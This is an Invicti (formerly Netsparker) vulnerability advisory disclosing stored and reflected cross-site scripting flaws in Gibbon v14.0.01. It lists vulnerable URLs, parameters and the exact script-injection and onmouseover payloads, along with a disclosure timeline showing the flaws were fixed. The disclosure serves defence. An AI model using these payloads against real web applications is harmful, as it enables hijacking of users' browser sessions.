Information
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Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Gibbon
Affected Software: Gibbon
Affected Versions: v14.0.01
Homepage: https://gibbonedu.org/
Vulnerability Type: Stored XSS Vulnerabilities
Severity: High
Status: Fixed
Invicti Advisory Reference: NS-18-01

Technical Details - Stored XSS Vulnerabilities (Frontend)
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URL  http://scanned.app/core/index.php?q=preferences.php&return=success0  Injection URL  http://scanned.app/core/preferencesProcess.php  
Parameter Name  calendarFeedPersonal  
Parameter Type  POST  
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x00401A)</scRipt>

Technical Details - XSS Vulnerability (Install)
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URL  http://scanned.app/gibbon-install/installer/install.php?step=1&guid=x" onmouseover=netsparker(0x000157) x="  
Parameter Name  guid  
Parameter Type  GET  
Attack Pattern  x%22+onmouseover%3dnetsparker(0x000157)+x%3d%22  

URL  http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x  
Parameter Name  databaseUsername  
Parameter Type  POST  
Attack Pattern  %3cscRipt%3enetsparker(0x0003C6)%3c%2fscRipt%3e  

URL  http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x  
Parameter Name  databaseServer  
Parameter Type  POST  
Attack Pattern  %3cscRipt%3enetsparker(0x000365)%3c%2fscRipt%3e  

Technical Details - XSS Vulnerability (Frontend)
--------------------

URL  http://scanned.app/core/index.php?q=/modules/Resources/resources_view.php&tag='"--></style></scRipt><scRipt>netsparker(0x001B25)</scRipt>  
Proof URL  http://scanned.app/core/index.php?q=/modules/Resources/resources_view.php&tag='"--></style></scRipt><scRipt>alert(0x001B25)</scRipt>  
Parameter Name  tag  
Parameter Type  GET  
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001B25)</scRipt>  

URL  http://scanned.app/core/modules/Resources/resources_addQuick_ajax.php?file1=&file2=&file3=&file4=&id=x' onmouseover=netsparker(0x04665A) x='&address=&imagesAsLinks=N  
Parameter Name  id  
Parameter Type  GET  
Attack Pattern  x%27+onmouseover%3dnetsparker(0x04665A)+x%3d%27

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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17th January 2018 - First Contact
20th January 2018 - Vendor Fixed
28th June 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.